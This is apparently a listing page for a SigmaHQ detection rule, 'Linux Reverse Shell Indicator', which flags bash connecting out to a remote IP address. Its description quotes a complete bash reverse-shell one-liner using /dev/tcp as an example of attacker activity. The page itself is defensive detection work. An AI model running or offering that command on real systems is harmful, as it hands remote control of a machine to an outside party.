Linux Reverse Shell Indicator

SigmaHQ Detections@sigmaHQ

•updated Aug 12, 2024•0•0•1

Detects a bash contecting to a remote IP address (often found when actors do something like 'bash -i >& /dev/tcp/10.0.0.1/4242 0>&1')